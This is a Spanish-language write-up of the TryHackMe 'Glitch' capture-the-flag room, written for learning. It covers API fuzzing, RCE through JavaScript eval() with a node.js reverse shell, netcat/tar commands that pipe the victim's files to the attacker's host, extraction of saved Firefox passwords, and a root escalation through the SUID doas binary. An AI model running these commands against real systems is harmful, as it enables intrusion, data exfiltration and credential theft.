Page cover

🎆Glitch

Challenge showcasing a web app and simple privilege escalation. It is beginner oriented, some basic JavaScript knowledge would be helpful, but not mandatory. - https://tryhackme.com/room/glitch

Preparados

Preparación de entorno

Empezamos siendo organizados:

Creamos el directorio para la máquina y lanzamos un bonito mkt para crear el entorno de trabajo.

He actualizado el script para añadir el directorio Capturas.


Enumeración

Nos apuntamos la IP en nuestro .txt y lanzamos un escáner SYN general con NMAP para enumerar los posibles puertos abiertos:

sudo nmap -sS --min-rate 5000 -p- --open <IP> -n -Pn -oN puertos.txt

Tras el primer escáner SYN, realizamos un segundo escáner con los script básicos de reconocimiento de NMAP, esta vez específico a los puertos abiertos que hayamos encontrado:

nmap -sCV -p<puertos> <IP> -Pn -oN scan.txt

Todo esto ha sido la metodología de reconocimiento de red básica que realiza mi script autoscan como herramienta para agilizar el proceso de enumeración. Recuerda que, antes de usar automatizaciones, deberías aprender muy bien cada comando y cada herramienta.

Resultado de NMAP

Tenemos el resultado del escáner y podemos ver que tan solo tenemos el puerto 80 con un servicio HTTP. También vemos que el script http-title de NMAP nos reporta un not allowed, por lo que ya podemos imaginar que vamos a necesitar algún tipo de autenticación.

La autenticación es el proceso de poder identificar a un usuario, app o dispositivo, para demostrar que realmente es quien dice ser.

Vayamos al navegador para comprobar qué tenemos en el servicio HTTP.


HTTP - Puerto 80

Al visitar la web alojada en la dirección IP, vemos que no se nos permite visualizar el contenido directamente. De nuevo se nos indica not allowed en la pestaña del navegador.

Si comprobamos las cookies que se están almacenando (Abrimos las herramientas para desarrollador) vemos que se nos está generando una cookie de sesión llamada token pero tenemos el valor por defecto, (value) o lo que es lo mismo, ningún valor.

Está claro que necesitamos conseguir una cookie válida, pero ¿cómo?

Enumeración web

Lo primero es revisar el código fuente de la web, que luego se olvida.

View source code > (Ctrl + U)

  • Hay cosas interesantes!

Aparte de la estructura HTML básica, abajo encontramos un script con la función getAccess()

Parece que la función getAccess() está llamando a una API en el endpoint /api/access, luego devuelve la respuesta con los datos que suponemos que recoge y completa el registro.

Vamos a explorar ese endpoint de la API en el navegador.

Desde ahora, en lugar del navegador, para testear con la API usaré la herramienta de Postman porque me resulta muy cómodo para mandar peticiones en distintos métodos y me gusta más como se ven el cuerpo de las respuestas.

Esta es la misma petición GET que teníamos en el navegador pero enviada en Postman

HTTP methods: El método GET solicita una representación de un recurso específico. Las peticiones que usan el método GET sólo deben recuperar datos.

Tenemos una posible cookie de sesión válida con el nombre de token y parece estar codificada en base64, asi que vamos a copiarla y pasarla por CyberChef

Nada más copiar la string en CyberChef ya nos detecta automáticamente que es base64

Detección automática

Base64 is a binary-to-text encoding method that converts binary data from an ASCII string to a radix-64 representation. It turns binary data into a text-like representation made up of letters, numbers, and a few special characters. This encoding is commonly used for secure data transmission and storage.

Al fin tenemos una cookie de sesión con la que probar la autenticación en la web.

La añadimos desde el menú de herramientas para desarrollador y recargamos la página.

Comprobamos que estamos almacenando una cookie de sesión válida y parece que ya podemos ver el contenido de la web sin problema.

Tras echarle un vistazo no vemos nada interesante con lo que podamos interactuar, salvo unos cuantos elementos que se están organizando en diferentes grupos.

Veamos el código fuente de la web ahora que disponemos de autenticación.

En la parte de abajo tenemos un script en JavaScript - /js/script.js

Vamos a inspeccionar el script.

Encontramos un script con la función async funtion() que parece encargarse de organizar los elementos que habíamos visto antes en la web, distribuyéndolos por su id y clase, y luego sincronizar todo para que se muestre cada elemento donde corresponde.

De esta función, lo que podemos sacar es otro endpoint de la API - /api/items

Exploremos la petición en Postman


Enumeración API

Si lanzamos una petición GET al endpoint que hemos enumerado /api/items en el body de la respuesta podemos ver en JSON los elementos que se estaban organizando anteriormente.

JSON (JavaScript Object Notation) es un formato de texto sencillo y ligero para el almacenamiento e intercambio de datos. JSON se basa en un subconjunto de JavaScript.

Vamos a cambiar el método a OPTIONS y a mandar la petición de nuevo al mismo endpoint para ver qué otros métodos se aceptan.

El método OPTIONS es utilizado para describir las opciones de comunicación permitidas para el recurso de destino.

En la respuesta comprobamos que se aceptan los métodos GET, HEAD y POST.

Si probamos con el método HEAD seguimos obteniendo la misma respuesta, por lo que vamos a mandar una nueva petición, esta vez mediante el método POST

El método POST se utiliza para mandar una entidad a un recurso y enviar data al servidor para la creación/actualización de un recurso.

Mediante este método recibimos una respuesta diferente:

{
    "message": "there_is_a_glitch_in_the_matrix"
}

Podríamos pensar que vamos por buen camino y que la vulnerabilidad debería estar por aquí, asi que en relación a la API aceptando peticiones por POST, lo más lógico sería ver cómo podríamos interactuar con la API para pasarle data.

En este punto tuve que buscar información y estudiar otros writeups ya que no recordaba como se realizaba este tipo de fuzzing a una API, y ya de paso estudié más teoría en profundidad.

Recuerda que no tiene nada de malo el estudiar recursos de otras personas y aprender leyendo estos writeups, al contrario, estudiar siempre es bueno. No te sientas mal por pensar que estás haciendo trampas y sigue estudiando porque es obvio que si no sabes algo lo tienes que aprender primero.

Para pasar data a una API mediante una petición POST necesitamos un parámetro. Parámetro que actualmente no tenemos, por lo que mediante fuzzing vamos a intentar enumerar parámetros válidos dentro del endpoint:

/api/items?<parametro>

Fuzzing API

Para realizar el siguiente fuzzing vamos a utilizar la herramienta ffuf con la siguiente sintaxis:

ffuf -u '<URL>?FUZZ=test' -c -w <wordlist> -X POST -mc all -fc 400 -o <file.txt>
Función de cada flag
-u > URL objetivo
-c > Ver el output coloreado
-w > Ruta del diccionario
-X > Método HTTP
-mc > (match status code) mostrar en respuesta
-fc > (filter status code) ignorar en respuesta
-o > crear archivo con output

Tras unos segundos, encontramos un parámetro válido:

/api/items?cmd=

Aunque ya vemos que nos está reportando un código de estado 500

Vamos a ir a Postman para probar a lanzar peticiones usando el parámetro sobre el endpoint.

500 internal server error - La petición podría haber alcanzado el servidor, pero este ha encontrado un error mientras procesaba la petición.


Explotación API

Como prueba rápida, mediante una petición POST, lanzamos el comando whoami usando el parámetro que hemos encontrado.

<URL>/api/items?cmd=whoami

Inspeccionemos la respuesta, a ver cómo reacciona el server:

De nuevo un código de estado 500.

Leamos el output del error que nos mostró para sacar más información sobre el problema:

Se nos reporta ReferenceError - busquemos sobre esto.

The ReferenceError object represents an error when a variable that doesn't exist (or hasn't yet been initialized) in the current scope is referenced.

En la primera búsqueda ya podemos ver que estamos ante un error de JavaScript. Aunque ya sabíamos que se estaba usando en la API, tenemos más referencias a lo mismo si seguimos leyendo el error - api.js node_modules

Busquemos sobre eval javascript

La función eval() recibe una cadena de texto. Lo que hace es simplemente ejecutar esa cadena como si fuera código Javascript.

Parece que mediante esta función podríamos probar a inyectar código, así que vamos a buscar sobre eval function js rce

Todas las entradas que encontramos hacen referencia a lo mismo:

Vulnerabilidad a RCE debido a la función eval()

Y si nos paramos a leer un poco más, encontramos hasta funciones para invocar una reverse shell mediante child_process

función encontrada en las primeras entradas de google

A child process in computing is a process created by another process (the parent process). This technique pertains to multitasking operating systems, and is sometimes called a subprocess or traditionally a subtask.

Sabiendo que ya disponemos de varias reverse shells para esto en concreto, quise saber si en RevShells existían ya prefabricadas.

Y efectivamente, disponemos de dos reverse shells para node.js usando child_process

Vamos probar con la primera

Nos ponemos en escucha con netcat por el puerto que queramos:

nc -lvnp 1234

Y lanzamos la petición POST con el código de nuestra reverse shell mediante el parámetro cmd:

En la respuesta podemos leer: vulnerability_exploited

Sin embargo no nos llega la reverse shell.

En este punto, probé diferentes puertos, usar una sh en lugar de bash, usar y quitar URL-encode... pero no parecía que se llegase a ejecutar la reverse shell.

Como no sé cuál es el problema, simplemente vamos a probar con la otra.

Segunda reverse shell para node.js

Nos ponemos de nuevo en escucha con netcat, lanzamos petición con Postman y...

¡Tenemos reverse shell!

Comprobamos identidad - whoami id

Somos user, estamos dentro.


Privesc 1 - horizontal

Lo primero de todo tras ganar acceso, tratamiento de TTY para nuestra comodidad:

script /dev/null -c bash
# CTRL+Z
stty raw -echo;fg
reset xterm
export TERM=xterm-256color SHELL=bash
# stty -a en tu terminal para ver config
stty rows<x> cols<y>

Listamos archivos, incluyendo ocultos y nos guardamos user-flag

Al listar archivos ocultos ya vemos una carpeta muy interesante en nuestro /home de usuario

/.firefox

¡Exploremos este directorio!

Parece que tenemos un backup de la carpeta de perfiles de Firefox

Firefox stores your personal information and settings in a profile folder.

Si leemos el archivo de profiles.ini vemos que se incluyen dos perfiles:

Profile1 y Profile0

Pero solamente disponemos de una carpeta:

/b5w4643p.default-release

La perteneciente al path del segundo perfil - Profile0

Transferencia de archivos

Aquí me encontré con varios problemas a la hora de transferir los archivos de Firefox

La reverse shell que nos habíamos enviado inicialmente mediante la API se iba rompiendo poco a poco al intentar transferir, y por algún motivo ya no era estable.

Decidí mandarme de nuevo una bash directamente como user a mi máquina:

A la hora de transferir los archivos, como primera opción, levanté un servidor con python en la máquina víctima y recurrí a un simple wget

python -m http.server <puerto>
wget <IPa>:<puerto>/<file>

No funcionaba.

Probé con el mismo servidor + curl

curl -O http://<IPa>:<puerto>/<file>

Nada.

Me lancé un ping -c 1 <IPa> para ver si tenía conexión o si se me había caído todo, pero si que tenía conexión entre la máquina víctima y la mía.

En la máquina había netcat, por lo que probé otro método que conocía.

nc -lvp <puerto> < file # local
nc <IPa> <puerto> > file # víctima

Nada.

No sabía cuál era el problema y estuve mucho investigando sobre otras formas de transferencia de archivos que me pudieran servir.

De todas las técnicas que encontré, solo me funcionó una (La que usaban en un writeup, es raro)

nc -lvnp <puerto> | tar xf - # local
tar cf - . | nc <IPa> <puerto> # víctima

👍 Si sabes cuál pudo ser el problema, o si has usado otro método diferente con mejor resultado, te agradecería que me lo comentases por Twitter, por ejemplo <3 Gracias.

Firefox_decrypt

Una vez transferido el directorio, vamos a utilizar la herramienta de firefox_decrypt para extraer la contraseña del perfil de Firefox.

python3 firefox_decrypt.py <file>

Como esta es una herramienta muy útil que quiero poder usar con más facilidad, tengo configurado un symbolic link, para no tener que referenciar al binario cada vez que quiero usar la herramienta.

A symlink is a symbolic Linux/ UNIX link that points to another file or folder on your computer, or a connected file system. This is similar to a Windows shortcut.

Te enseño a hacerlo:

cd /tmp # vamos a un directorio temporal para no tener problemas con permisos
git clone https://github.com/unode/firefox_decrypt.git # clonamos el repositorio
sudo chown -R root:root firefox_decrypt.py # configuramos superuser como dueño
sudo mv /tmp/firefox_decrypt.py /opt/ # recolocamos a directorio de herramientas
sudo ln -s /opt/firefox_decrypt.py /usr/local/bin/firefox_decrypt # creamos symlink

Ahora ya podemos usar la herramienta cómodamente:

firefox_decrypt <file>

Usamos la herramienta y extraemos la contraseña del perfil:

Tenemos las credenciales: v0id:love_the_void

Cambiemos de usuario y comprobemos si la contraseña tiene reusabilidad para el servicio SSH

¡Las credenciales son válidas!

Somos v0id

Hemos realizado con éxito una escalada de privilegios horizontal


Privesc 2 - vertical

Siendo este nuevo usuario y con la intención de buscar algún punto vulnerable para escalar privilegios de manera vertical, vamos a listar archivos ocultos y comprobar permisos de superuser:

No tenemos nada en sudoers y no hay ningún archivo oculto en el /home de este usuario.

Lo siguiente que vamos a hacer es listar posibles binarios SUID para ver si hay alguno interesante que nos permita escalar privilegios a root.

SUID stands for “Set User ID”, and it is a special type of permission that can be given to a file so the file is always run with the permissions of the owner instead of the user executing it.

find / -perm -4000 2>/dev/null

Tenemos un resultado fuera de lo común:

/usr/local/bin/doas

Busquemos más información sobre este binario:

Busquemos doas usage:

Parece que de una manera bastante sencilla podemos lanzar una shell como root.

Probemos:

Y efectivamente, el comando funciona y tenemos shell como el usuario root.

¡Hemos realizado la escalada de privilegios vertical!

¡Máquina comprometida!

Espero que te haya gustado y hayas aprendido (y estudiado) mucho.

Yo personalmente aprendí mucho de muchas cosas con esta máquina uwu

Resumen

Como resumen simplificado de esta máquina, apuntaré el conjunto de técnicas realizadas para su explotación, los conceptos que personalmente he aprendido durante la misma y, por último, añadiré otros puntos importantes, como anotaciones de los campos en los que estuve más floja u otros datos de interés en los que debería poner más atención en el futuro.

Técnicas realizadas

  • Manipulación de cookies de sesión

    • Decoding - Cyberchef

  • Enumeración API - Postman

    • Enumeración de código fuente y scripts en JS

  • Fuzzing API - ffuf

  • Explotación API

    • RCE via eval() en JS

  • Horizontal privesc

    • Password cracking en perfiles de Firefox - firefox_decrypt

  • Vertical privesc

    • binario doas - SUID

Conceptos aprendidos

  • Lectura de código en JavaScript

  • Métodos HTTP

  • Fuzzing de APIs

    • Función de los parámetros.

  • Función eval() en JavaScript

  • Reverse shells para node.js

  • Transferencia de archivos alternativa con netcat y tar

  • Cracking de contraseñas en perfiles de Firefox.

Aspectos a recordar

  • Enumerar detenidamente el código fuente

  • Probar diferentes métodos HTTP en una misma petición

  • Fuzzing de parámetros

Última actualización